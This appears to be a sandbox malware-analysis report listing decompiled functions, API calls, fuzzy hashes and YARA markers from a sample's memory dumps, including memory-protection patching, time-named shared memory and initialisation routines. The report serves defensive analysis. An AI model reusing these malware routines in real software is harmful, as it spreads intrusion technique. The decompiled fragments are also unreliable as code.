VirtualProtect.KERNELBASE(00000000,00000000,00000040,0234570A,?,?,?,00000000), ref: 0235E3AF
lstrcpy.KERNEL32(00000000,?), ref: 0235E3BE
VirtualProtect.KERNELBASE(00000000,00000000,5357E372,0234570A,?,?,?,00000000), ref: 0235E3CF
VirtualProtect.KERNELBASE(00000000,00000005,00000040,0234570A,02363598,00000018,023479EB,?,?,?,00000000), ref: 0235E405
VirtualProtect.KERNELBASE(?,00000004,5357E372,0234570A,?,?,?,00000000,?,0234572A,?,00000000), ref: 0235E420
VirtualProtect.KERNEL32(?,00000004,00000040,0234570A,02363598,00000018,023479EB,?,?,?,00000000,?,0234572A,?,00000000), ref: 0235E435
VirtualProtect.KERNELBASE(?,00000004,00000040,0234570A,02363598,00000018,023479EB,?,?,?,00000000,?,0234572A,?,00000000), ref: 0235E462
VirtualProtect.KERNELBASE(?,00000004,5357E372,0234570A,?,?,?,00000000,?,0234572A,?,00000000), ref: 0235E47C
GetLastError.KERNEL32(?,?,?,00000000,?,0234572A,?,00000000), ref: 0235E483

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: ProtectVirtual$ErrorLastlstrcpylstrlen
String ID:
API String ID: 3676034644-0
Opcode ID: f55806a147391554c2adee4b752a5d68d1524ed48fb1126305c4e1acb043b525
Instruction ID: f4a7d182b12c7eae2417dc4f281291d944942da4eae80936900463cabcba3103
Opcode Fuzzy Hash: f55806a147391554c2adee4b752a5d68d1524ed48fb1126305c4e1acb043b525
Instruction Fuzzy Hash: 3C4160B1A007099FDB31DFA4CC48EABB7BDFB08714F008529EA5AA6591D734E905CF20

Uniqueness

Uniqueness Score: -1.00%

Function 004312F4, Relevance: 13.6, APIs: 9, Instructions: 81
filetimeCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E004312F4(intOrPtr __edx, long _a4, void** _a8, void** _a12) {
				intOrPtr _v12;
				struct _FILETIME* _v16;
				short _v60;
				struct _FILETIME* _t14;
				intOrPtr _t15;
				long _t18;
				void* _t19;
				void* _t22;
				intOrPtr _t31;
				long _t32;
				void* _t34;

				_t31 = __edx;
				_t14 =  &_v16;
				GetSystemTimeAsFileTime(_t14);
				_push(0x192);
				_push(0x54d38000);
				_push(_v12);
				_push(_v16);
				L00432050();
				_push(_t14);
				_v16 = _t14;
				_t15 =  *0x434150;
				_push(_t15 + 0x43505e);
				_push(_t15 + 0x435054);
				_push(0x16);
				_push( &_v60);
				_v12 = _t31;
				L0043204A();
				_t18 = _a4;
				if(_t18 == 0) {
					_t18 = 0x1000;
				}
				_t19 = CreateFileMappingW(0xffffffff, 0x434140, 4, 0, _t18,  &_v60); // executed
				_t34 = _t19;
				if(_t34 == 0) {
					_t32 = GetLastError();
				} else {
					if(_a4 != 0 || GetLastError() == 0xb7) {
						_t22 = MapViewOfFile(_t34, 6, 0, 0, 0); // executed
						if(_t22 == 0) {
							_t32 = GetLastError();
							if(_t32 != 0) {
								goto L9;
							}
						} else {
							 *_a8 = _t34;
							 *_a12 = _t22;
							_t32 = 0;
						}
					} else {
						_t32 = 2;
						L9:
						CloseHandle(_t34);
					}
				}
				return _t32;
			}

0x004312f4
0x004312fd
0x00431301
0x00431307
0x0043130c
0x00431311
0x00431314
0x00431317
0x0043131c
0x0043131d
0x00431320
0x0043132b
0x00431332
0x00431336
0x00431338
0x00431339
0x0043133c
0x00431341
0x0043134b
0x0043134d
0x0043134d
0x00431361
0x00431367
0x0043136b
0x004313bb
0x0043136d
0x00431376
0x0043138c
0x00431394
0x004313a6
0x004313aa
0x00000000
0x00000000
0x00431396
0x00431399
0x0043139e
0x004313a0
0x004313a0
0x00431381
0x00431383
0x004313ac
0x004313ad
0x004313ad
0x00431376
0x004313c3

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 00431301
_aulldiv.NTDLL(?,?,54D38000,00000192), ref: 00431317
_snwprintf.NTDLL ref: 0043133C
CreateFileMappingW.KERNELBASE(000000FF,00434140,00000004,00000000,?,?), ref: 00431361
GetLastError.KERNEL32 ref: 00431378
MapViewOfFile.KERNELBASE ref: 0043138C
GetLastError.KERNEL32 ref: 004313A4
CloseHandle.KERNEL32(00000000), ref: 004313AD
GetLastError.KERNEL32 ref: 004313B5

Memory Dump Source

Source File: 00000004.00000002.2416019443.0000000000430000.00000040.00000001.sdmp, Offset: 00430000, based on PE: true

Associated: 00000004.00000002.2416029859.0000000000435000.00000040.00000001.sdmp Download File

Similarity

API ID: ErrorFileLast$Time$CloseCreateHandleMappingSystemView_aulldiv_snwprintf
String ID:
API String ID: 1724014008-0
Opcode ID: eac5dc19626d0dc9051cca2a500d817acbb9d523096146d17f9bbd84b13b17ce
Instruction ID: 4ec17f691e5e4c39cc4f174747361421be33596e61240e67fc1ac14366600210
Opcode Fuzzy Hash: eac5dc19626d0dc9051cca2a500d817acbb9d523096146d17f9bbd84b13b17ce
Instruction Fuzzy Hash: 1321C5B2500108BFEB14AF98DC85EEE77B8EB4C355F105136FA05D7260D67499458B68

Uniqueness

Uniqueness Score: -1.00%

Function 00477F89, Relevance: 13.6, APIs: 9, Instructions: 72
filetimeCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E00477F89(intOrPtr __edx, void** _a4, void** _a8) {
				intOrPtr _v8;
				struct _FILETIME* _v12;
				short _v56;
				struct _FILETIME* _t12;
				intOrPtr _t13;
				void* _t17;
				void* _t21;
				intOrPtr _t27;
				long _t28;
				void* _t30;

				_t27 = __edx;
				_t12 =  &_v12;
				GetSystemTimeAsFileTime(_t12);
				_push(0x192);
				_push(0x54d38000);
				_push(_v8);
				_push(_v12);
				L0047B072();
				_push(_t12);
				_v12 = _t12;
				_t13 =  *0x47d27c; // 0x374a7d0
				_t5 = _t13 + 0x47e862; // 0x3bc9032
				_t6 = _t13 + 0x47e59c; // 0x530025
				_push(0x16);
				_push( &_v56);
				_v8 = _t27;
				L0047AD0A();
				_t17 = CreateFileMappingW(0xffffffff, 0x47d2a8, 4, 0, 0x1000,  &_v56); // executed
				_t30 = _t17;
				if(_t30 == 0) {
					_t28 = GetLastError();
				} else {
					if(GetLastError() == 0xb7) {
						_t21 = MapViewOfFile(_t30, 6, 0, 0, 0); // executed
						if(_t21 == 0) {
							_t28 = GetLastError();
							if(_t28 != 0) {
								goto L6;
							}
						} else {
							 *_a4 = _t30;
							 *_a8 = _t21;
							_t28 = 0;
						}
					} else {
						_t28 = 2;
						L6:
						CloseHandle(_t30);
					}
				}
				return _t28;
			}

0x00477f89
0x00477f91
0x00477f95
0x00477f9b
0x00477fa0
0x00477fa5
0x00477fa8
0x00477fab
0x00477fb0
0x00477fb1
0x00477fb4
0x00477fb9
0x00477fc0
0x00477fca
0x00477fcc
0x00477fcd
0x00477fd0
0x00477fec
0x00477ff2
0x00477ff6
0x00478044
0x00477ff8
0x00478005
0x00478015
0x0047801d
0x0047802f
0x00478033
0x00000000
0x00000000
0x0047801f
0x00478022
0x00478027
0x00478029
0x00478029
0x00478007
0x00478009
0x00478035
0x00478036
0x00478036
0x00478005
0x0047804b

APIs

GetSystemTimeAsFileTime.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,004790A5,?,?,4D283A53,?,?), ref: 00477F95
_aulldiv.NTDLL(?,?,54D38000,00000192), ref: 00477FAB
_snwprintf.NTDLL ref: 00477FD0
CreateFileMappingW.KERNELBASE(000000FF,0047D2A8,00000004,00000000,00001000,?), ref: 00477FEC
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,004790A5,?,?,4D283A53), ref: 00477FFE
MapViewOfFile.KERNELBASE(00000000,00000006,00000000,00000000,00000000), ref: 00478015
CloseHandle.KERNEL32(00000000), ref: 00478036
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,004790A5,?,?,4D283A53), ref: 0047803E

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: File$ErrorLastTime$CloseCreateHandleMappingSystemView_aulldiv_snwprintf
String ID:
API String ID: 1814172918-0
Opcode ID: d624ee833844d2e745759cd78f78f0d78d71d485ac677d84eb4d022ef7173e67
Instruction ID: 48ad25c11ce549f27cadf7e110cc4b82da9066f0b100bdd4175b08fdbff8a183
Opcode Fuzzy Hash: d624ee833844d2e745759cd78f78f0d78d71d485ac677d84eb4d022ef7173e67
Instruction Fuzzy Hash: BF215B72680204FBD7209BA4CC49FCE37B9AF48750F21806AF60DF72D1DB7499058B98

Uniqueness

Uniqueness Score: -1.00%

Function 003CBE70, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 134
registryCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E003CBE70(intOrPtr* __eax, intOrPtr __ebx, void* __edi, void* __esi) {
				char _v68;
				struct _WNDCLASSA _v108;
				intOrPtr _v116;
				signed char _v137;
				void* _v144;
				struct _WNDCLASSA _v184;
				char _v188;
				char _v192;
				char _v196;
				int _t52;
				void* _t53;
				intOrPtr _t86;
				intOrPtr _t104;
				intOrPtr _t108;
				void* _t109;
				intOrPtr* _t111;
				void* _t115;

				_t109 = __edi;
				_t94 = __ebx;
				_push(__ebx);
				_v196 = 0;
				_t111 = __eax;
				_push(_t115);
				_push(0x3cc031);
				_push( *[fs:eax]);
				 *[fs:eax] = _t115 + 0xffffff40;
				_t95 =  *__eax;
				 *((intOrPtr*)( *__eax + 0x98))();
				if(_v116 != 0 || (_v137 & 0x00000040) == 0) {
					L7:
					 *((intOrPtr*)(_t111 + 0x174)) = _v108.lpfnWndProc;
					_t52 = GetClassInfoA(_v108.hInstance,  &_v68,  &_v184);
					asm("sbb eax, eax");
					_t53 = _t52 + 1;
					if(_t53 == 0 || E003C54C4 != _v184.lpfnWndProc) {
						if(_t53 != 0) {
							UnregisterClassA( &_v68, _v108.hInstance);
						}
						_v108.lpfnWndProc = E003C54C4;
						_v108.lpszClassName =  &_v68;
						if(RegisterClassA( &_v108) == 0) {
							E0038C990(_t94, _t95, _t109, _t111);
						}
					}
					 *0x3d9c90 = _t111;
					_t96 =  *_t111; // executed
					 *((intOrPtr*)( *_t111 + 0x9c))();
					if( *(_t111 + 0x180) == 0) {
						E0038C990(_t94, _t96, _t109, _t111);
					}
					if((GetWindowLongA( *(_t111 + 0x180), 0xfffffff0) & 0x40000000) != 0 && GetWindowLongA( *(_t111 + 0x180), 0xfffffff4) == 0) {
						SetWindowLongA( *(_t111 + 0x180), 0xfffffff4,  *(_t111 + 0x180));
					}
					E00388874( *((intOrPtr*)(_t111 + 0x64)));
					 *((intOrPtr*)(_t111 + 0x64)) = 0;
					E003CF1C8(_t111);
					E003C9884(_t111, E0039F92C( *((intOrPtr*)(_t111 + 0x68)), _t94, _t96), 0x30, 1);
					_t130 =  *((char*)(_t111 + 0x5c));
					if( *((char*)(_t111 + 0x5c)) != 0) {
						E003832F8(_t111, _t130);
					}
					_pop(_t104);
					 *[fs:eax] = _t104;
					_push(0x3cc038);
					return E00383EBC( &_v196);
				} else {
					_t94 =  *((intOrPtr*)(__eax + 4));
					if(_t94 == 0 || ( *(_t94 + 0x1c) & 0x00000002) == 0) {
						L6:
						_v192 =  *((intOrPtr*)(_t111 + 8));
						_v188 = 0xb;
						_t86 =  *0x3da0f0; // 0x39dcb0
						E00385C40(_t86,  &_v196);
						_t95 = _v196;
						E0038B600(_t94, _v196, 1, _t109, _t111, 0,  &_v192);
						E00383870();
					} else {
						_t108 =  *0x3c4ab8; // 0x3c4b04
						if(E00383288(_t94, _t108) == 0) {
							goto L6;
						}
						_v116 = E003CEEB8(_t94);
					}
					goto L7;
				}
			}

0x003cbe70
0x003cbe70
0x003cbe79
0x003cbe7d
0x003cbe83
0x003cbe87
0x003cbe88
0x003cbe8d
0x003cbe90
0x003cbe9b
0x003cbe9d
0x003cbea7
0x003cbf1c
0x003cbf1f
0x003cbf34
0x003cbf3c
0x003cbf3e
0x003cbf41
0x003cbf52
0x003cbf5c
0x003cbf5c
0x003cbf61
0x003cbf6b
0x003cbf7a
0x003cbf7c
0x003cbf7c
0x003cbf7a
0x003cbf81
0x003cbf8f
0x003cbf91
0x003cbf9e
0x003cbfa0
0x003cbfa0
0x003cbfb8
0x003cbfd6
0x003cbfd6
0x003cbfde
0x003cbfe5
0x003cbfea
0x003cc002
0x003cc007
0x003cc00b
0x003cc013
0x003cc013
0x003cc01a
0x003cc01d
0x003cc020
0x003cc030
0x003cbeb2
0x003cbeb2
0x003cbeb7
0x003cbedc
0x003cbedf
0x003cbee5
0x003cbefb
0x003cbf00
0x003cbf05
0x003cbf12
0x003cbf17
0x003cbebf
0x003cbec1
0x003cbece
0x00000000
0x00000000
0x003cbed7
0x003cbed7
0x00000000
0x003cbeb7

APIs

GetClassInfoA.USER32(?,?,?), ref: 003CBF34
UnregisterClassA.USER32(?,?), ref: 003CBF5C
RegisterClassA.USER32(?), ref: 003CBF72
GetWindowLongA.USER32(00000000,000000F0), ref: 003CBFAE
GetWindowLongA.USER32(00000000,000000F4), ref: 003CBFC3
SetWindowLongA.USER32 ref: 003CBFD6

Strings

@, xrefs: 003CBEA9

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: ClassLongWindow$InfoRegisterUnregister
String ID: @
API String ID: 717780171-2766056989
Opcode ID: c3879c7c7c2ea6bc1fa60680351f5b40db119dd32f115d278766d454f3507500
Instruction ID: b6aae42b32e72a13d4a5c9308fd13f621fb7beba90753db0fa57e538690571f2
Opcode Fuzzy Hash: c3879c7c7c2ea6bc1fa60680351f5b40db119dd32f115d278766d454f3507500
Instruction Fuzzy Hash: B1516D31A007589BDB22EB78CC42F9AB7E9AB04704F1445ADF849DB392DB30AE45CF50

Uniqueness

Uniqueness Score: -1.00%

Function 003AC714, Relevance: 12.1, APIs: 8, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E003AC714(void* __eax, void* __edx, void* __ebp, void* __eflags) {
				struct tagTEXTMETRICA _v84;
				signed int _v100;
				void* __ebx;
				void* _t14;
				void* _t15;
				char* _t20;
				signed int _t21;
				signed int _t23;
				struct HDC__* _t29;
				signed int _t30;
				signed int _t32;
				signed int _t33;
				void* _t34;
				void* _t40;
				struct tagTEXTMETRICA* _t42;

				_t40 = __eax;
				_t29 = GetDC(0);
				GetTextMetricsA(_t29, _t42);
				_t14 = E0039F92C( *((intOrPtr*)(_t40 + 0x68)), _t29, _t34); // executed
				_t15 = SelectObject(_t29, _t14);
				GetTextMetricsA(_t29,  &_v84); // executed
				SelectObject(_t29, _t15);
				ReleaseDC(0, _t29);
				_t20 =  *0x3d9fd8; // 0x3dbb5c
				if( *_t20 == 0) {
					_t30 = _t42->tmHeight;
					_t21 = _v100;
					if(_t30 > _t21) {
						_t30 = _t21;
					}
					_t23 = GetSystemMetrics(6) << 2;
					if(_t30 < 0) {
						_t30 = _t30 + 3;
					}
					_t32 = _t23 + (_t30 >> 2);
				} else {
					if( *((char*)(_t40 + 0x1a5)) == 0) {
						_t33 = 6;
					} else {
						_t33 = 8;
					}
					_t32 = GetSystemMetrics(6) * _t33;
				}
				return E003C7EB0(_t40, _v100 + _t32);
			}

0x003ac71a
0x003ac723
0x003ac727
0x003ac72f
0x003ac736
0x003ac743
0x003ac74a
0x003ac752
0x003ac757
0x003ac75f
0x003ac783
0x003ac786
0x003ac78c
0x003ac78e
0x003ac78e
0x003ac797
0x003ac79c
0x003ac79e
0x003ac79e
0x003ac7a6
0x003ac761
0x003ac768
0x003ac771
0x003ac76a
0x003ac76a
0x003ac76a
0x003ac77f
0x003ac77f
0x003ac7bb

APIs

GetDC.USER32(00000000), ref: 003AC71E
GetTextMetricsA.GDI32(00000000), ref: 003AC727

Part of subcall function 0039F92C: CreateFontIndirectA.GDI32(?), ref: 0039FA6A

SelectObject.GDI32(00000000,00000000), ref: 003AC736
GetTextMetricsA.GDI32(00000000,?), ref: 003AC743
SelectObject.GDI32(00000000,00000000), ref: 003AC74A
ReleaseDC.USER32(00000000,00000000), ref: 003AC752
GetSystemMetrics.USER32 ref: 003AC778
GetSystemMetrics.USER32 ref: 003AC792

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: Metrics$ObjectSelectSystemText$CreateFontIndirectRelease
String ID:
API String ID: 1583807278-0
Opcode ID: 4e2ae6ddf178631934adfa36edddb617d32c5fac09199f1294cf816b9adc9b82
Instruction ID: 9a83bb51382c6cc78833b4d44a75f4009db70abd1f9280c20eba1e327acb26e5
Opcode Fuzzy Hash: 4e2ae6ddf178631934adfa36edddb617d32c5fac09199f1294cf816b9adc9b82
Instruction Fuzzy Hash: 43116DA17043406FE312B6798CC3B6B66CDDB46354F441864FA45CB393EA669C408761

Uniqueness

Uniqueness Score: -1.00%

Function 00479016, Relevance: 10.7, APIs: 7, Instructions: 159
memoryCOMMON

Download Yara Rule

C-Code - Quality: 57%

			E00479016(signed int __edx) {
				signed int _v8;
				long _v12;
				CHAR* _v16;
				long _v20;
				void* __edi;
				void* __esi;
				void* _t21;
				CHAR* _t22;
				CHAR* _t25;
				intOrPtr _t26;
				void* _t27;
				void* _t31;
				void* _t32;
				CHAR* _t36;
				CHAR* _t43;
				CHAR* _t44;
				void* _t49;
				void* _t51;
				CHAR* _t54;
				signed char _t56;
				intOrPtr _t58;
				signed int _t59;
				void* _t62;
				CHAR* _t65;
				CHAR* _t66;
				char* _t67;
				void* _t68;

				_t61 = __edx;
				_v20 = 0;
				_v8 = 0;
				_v12 = 0;
				_t21 = E00474781();
				if(_t21 != 0) {
					_t59 =  *0x47d25c; // 0x10000106
					_t55 = (_t59 & 0xf0000000) + _t21;
					 *0x47d25c = (_t59 & 0xf0000000) + _t21;
				}
				_t22 =  *0x47d164(0, 2);
				_v16 = _t22;
				if(_t22 == 0 || _t22 == 1 || _t22 == 0x80010106) {
					_t25 = E004742E2( &_v8,  &_v20); // executed
					_t54 = _t25;
					_t26 =  *0x47d27c; // 0x374a7d0
					if( *0x47d25c > 5) {
						_t8 = _t26 + 0x47e5cd; // 0x4d283a53
						_t27 = _t8;
					} else {
						_t7 = _t26 + 0x47ea15; // 0x44283a44
						_t27 = _t7;
					}
					E00477EA6(_t27, _t27);
					_t31 = E00477F89(_t61,  &_v20,  &_v12); // executed
					if(_t31 == 0) {
						CloseHandle(_v20);
					}
					_t62 = 5;
					if(_t54 != _t62) {
						 *0x47d270 =  *0x47d270 ^ 0x81bbe65d;
						_t32 = E004716F8(0x60);
						__eflags = _t32;
						 *0x47d324 = _t32;
						if(_t32 == 0) {
							_push(8);
							_pop(0);
						} else {
							memset(_t32, 0, 0x60);
							_t49 =  *0x47d324; // 0x3bc97d8
							_t68 = _t68 + 0xc;
							__imp__(_t49 + 0x40);
							_t51 =  *0x47d324; // 0x3bc97d8
							 *_t51 = 0x47e836;
						}
						__eflags = 0;
						_t54 = 0;
						if(0 == 0) {
							_t36 = RtlAllocateHeap( *0x47d238, 0, 0x43);
							__eflags = _t36;
							 *0x47d2c0 = _t36;
							if(_t36 == 0) {
								_push(8);
								_pop(0);
							} else {
								_t56 =  *0x47d25c; // 0x10000106
								_t61 = _t56 & 0x000000ff;
								_t58 =  *0x47d27c; // 0x374a7d0
								_t13 = _t58 + 0x47e55a; // 0x697a6f4d
								_t55 = _t13;
								wsprintfA(_t36, _t13, _t56 & 0x000000ff, _t56 & 0x000000ff, 0x47c29f);
							}
							__eflags = 0;
							_t54 = 0;
							if(0 == 0) {
								asm("sbb eax, eax");
								E0047A446( ~_v8 &  *0x47d270, 0x47d00c); // executed
								_t54 = E004723FC(_t55);
								__eflags = _t54;
								if(_t54 != 0) {
									goto L30;
								}
								_t43 = E00477DF1(_t55); // executed
								__eflags = _t43;
								if(_t43 != 0) {
									__eflags = _v8;
									_t65 = _v12;
									if(_v8 != 0) {
										L29:
										_t44 = E004786DE(_t61, _t65, _v8); // executed
										_t54 = _t44;
										goto L30;
									}
									__eflags = _t65;
									if(__eflags == 0) {
										goto L30;
									}
									_t54 = E00472055(__eflags,  &(_t65[4]));
									__eflags = _t54;
									if(_t54 == 0) {
										goto L30;
									}
									goto L29;
								}
								_t54 = 8;
							}
						}
					} else {
						_t66 = _v12;
						if(_t66 == 0) {
							L30:
							if(_v16 == 0 || _v16 == 1) {
								 *0x47d160();
							}
							goto L34;
						}
						_t67 =  &(_t66[4]);
						do {
						} while (E00476C7E(_t62, _t67, 0, 1) == 0x4c7);
					}
					goto L30;
				} else {
					_t54 = _t22;
					L34:
					return _t54;
				}
			}

0x00479016
0x00479021
0x00479024
0x00479027
0x0047902a
0x00479031
0x00479033
0x0047903f
0x00479041
0x00479041
0x0047904a
0x00479052
0x00479055
0x0047906f
0x0047907b
0x0047907d
0x00479082
0x0047908c
0x0047908c
0x00479084
0x00479084
0x00479084
0x00479084
0x00479093
0x004790a0
0x004790a7
0x004790ac
0x004790ac
0x004790b4
0x004790b7
0x004790dd
0x004790e9
0x004790ee
0x004790f0
0x004790f5
0x00479121
0x00479123
0x004790f7
0x004790fb
0x00479100
0x00479105
0x0047910c
0x00479112
0x00479117
0x0047911d
0x00479124
0x00479126
0x00479128
0x00479137
0x0047913d
0x0047913f
0x00479144
0x00479174
0x00479176
0x00479146
0x00479146
0x0047914c
0x00479159
0x0047915f
0x0047915f
0x00479167
0x00479170
0x00479177
0x00479179
0x0047917b
0x00479182
0x0047918f
0x00479199
0x0047919b
0x0047919d
0x00000000
0x00000000
0x0047919f
0x004791a4
0x004791a6
0x004791ad
0x004791b1
0x004791b4
0x004791c9
0x004791cd
0x004791d2
0x00000000
0x004791d2
0x004791b6
0x004791b8
0x00000000
0x00000000
0x004791c3
0x004791c5
0x004791c7
0x00000000
0x00000000
0x00000000
0x004791c7
0x004791aa
0x004791aa
0x0047917b
0x004790b9
0x004790b9
0x004790be
0x004791d4
0x004791d8
0x004791e0
0x004791e0
0x00000000
0x004791d8
0x004790c4
0x004790c7
0x004790d1
0x004790d8
0x00000000
0x004791e8
0x004791e8
0x004791ec
0x004791f0
0x004791f0

APIs

Part of subcall function 00474781: GetModuleHandleA.KERNEL32(4C44544E,00000000,0047902F,00000000,00000000), ref: 00474790

CoInitializeEx.OLE32(00000000,00000002), ref: 0047904A
CloseHandle.KERNEL32(?), ref: 004790AC
CoUninitialize.OLE32 ref: 004791E0

Part of subcall function 004716F8: RtlAllocateHeap.NTDLL(00000000,00000000,0047147D), ref: 00471704

memset.NTDLL ref: 004790FB
RtlInitializeCriticalSection.NTDLL(03BC9798), ref: 0047910C

Part of subcall function 00472055: memset.NTDLL ref: 0047206A
Part of subcall function 00472055: lstrlenW.KERNEL32(00000000,00410025,00000005,?,00000000), ref: 0047209E
Part of subcall function 00472055: StrCmpNIW.SHLWAPI(00000000,00000000,00000000), ref: 004720A9

RtlAllocateHeap.NTDLL(00000000,00000043,00000060), ref: 00479137
wsprintfA.USER32 ref: 00479167

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: AllocateHandleHeapInitializememset$CloseCriticalModuleSectionUninitializelstrlenwsprintf
String ID:
API String ID: 3997360700-0
Opcode ID: 8e314deafc30965a212b9ed6641e8141f07cd88fa0935c16c839d3d878a517c8
Instruction ID: 70f160f116707e92428d9f39ff6e330f4e2e8f11831ebc853ed79db207d4a37b
Opcode Fuzzy Hash: 8e314deafc30965a212b9ed6641e8141f07cd88fa0935c16c839d3d878a517c8
Instruction Fuzzy Hash: DA510670E10216ABEB209BA59C49AEF33B8EB04304F4484BBE50DE7291E7789D518B5D

Uniqueness

Uniqueness Score: -1.00%

Function 02344F0B, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 023559CE: VirtualProtect.KERNELBASE(00000000,00000000,00000040,023456BC,?,?,00000000,?,00000000,?,?,023456BC,00000000,00000000), ref: 023559F3
Part of subcall function 023559CE: GetLastError.KERNEL32(?,00000000,?,00000000,?,?,023456BC,00000000,00000000), ref: 023559FB
Part of subcall function 023559CE: VirtualQuery.KERNEL32(00000000,?,0000001C,?,00000000,?,00000000,?,?,023456BC,00000000,00000000), ref: 02355A12
Part of subcall function 023559CE: VirtualProtect.KERNEL32(00000000,00000000,-392CC87E,023456BC,?,00000000,?,00000000,?,?,023456BC,00000000,00000000), ref: 02355A37

GetLastError.KERNEL32(00000000,00000004,?,00000000,?,00000000,?,02363608,0000001C,02355329,00000002,00000000,00000001,?,?,?), ref: 02345064

Part of subcall function 0235829A: lstrlen.KERNEL32(?,?,?,?,023456BC), ref: 023582D2
Part of subcall function 0235829A: lstrcpy.KERNEL32(00000000,?), ref: 023582E9
Part of subcall function 0235829A: StrChrA.SHLWAPI(00000000,0000002E), ref: 023582F2
Part of subcall function 0235829A: GetModuleHandleA.KERNEL32(00000000,?,?,023456BC), ref: 02358310

VirtualProtect.KERNELBASE(00000000,00000005,00000040,00000040,00000000,00000005,00000000,00000000,?,00000000,023456BC,00000000,00000004,?,00000000,?), ref: 02344FE2
VirtualProtect.KERNELBASE(?,00000004,?,?,00000000,023456BC,00000000,00000004,?,00000000,?,00000000,?,02363608,0000001C,02355329), ref: 02344FFD
RtlEnterCriticalSection.NTDLL(02367380), ref: 02345021
RtlLeaveCriticalSection.NTDLL(02367380), ref: 0234503F

Part of subcall function 023559CE: SetLastError.KERNEL32(?,?,00000000,?,00000000,?,?,023456BC,00000000,00000000), ref: 02355A40

Strings

, xrefs: 02344FD1

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Virtual$Protect$ErrorLast$CriticalSection$EnterHandleLeaveModuleQuerylstrcpylstrlen
String ID:
API String ID: 899430048-3916222277
Opcode ID: 9c3914d0295c0f216aea98262b98f44e483ee35138aeea463951734fb482a17e
Instruction ID: 550bf9c4c5826ead5c93a95163bf40fefb829d21fb6ddeb84a8bdaa0686847bc
Opcode Fuzzy Hash: 9c3914d0295c0f216aea98262b98f44e483ee35138aeea463951734fb482a17e
Instruction Fuzzy Hash: 11417AB5900619EFDB11DF64C948AAEFBF8FF08710F548259E915AB290DB30E950CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 0235176D, Relevance: 10.6, APIs: 7, Instructions: 110memorystringCOMMON

Download Yara Rule

APIs

Part of subcall function 0235CD06: GetProcAddress.KERNEL32(6F57775A,?,00000000,00000000), ref: 0235CD2B
Part of subcall function 0235CD06: NtWow64QueryInformationProcess64.NTDLL(00000000,00000000,?,00000030,00000000,?,00000000,00000000), ref: 0235CD47

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000004), ref: 023517A6
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 02351891

Part of subcall function 0235CD06: StrRChrA.SHLWAPI(00000018,00000000,0000005C), ref: 0235CEB1

VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,00000000,?,?), ref: 023517DC
VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 023517E8
lstrcmpi.KERNEL32(?,00000000), ref: 02351825
StrChrA.SHLWAPI(?,0000002E), ref: 0235182E
lstrcmpi.KERNEL32(?,00000000), ref: 02351840

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Virtual$AllocFreelstrcmpi$AddressInformationProcProcess64QueryWow64
String ID:
API String ID: 3901270786-0
Opcode ID: a9e73d0d35b21fff699a7c2684bcecf04c7d9fe0e13f0d94e8f7d1a632d4daf7
Instruction ID: 12aa0a7876d3d436cf70b0592ca1911b0226ae342b7bb406958130fa22bced7c
Opcode Fuzzy Hash: a9e73d0d35b21fff699a7c2684bcecf04c7d9fe0e13f0d94e8f7d1a632d4daf7
Instruction Fuzzy Hash: 6E314C71504321ABD3318F15D844F2BBBE9FB84B58F114A59F98DA6240D778E904CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 004727B1, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 98
registrysynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004727B1(void* __ecx, char _a4) {
				int* _v8;
				char _v12;
				int* _v16;
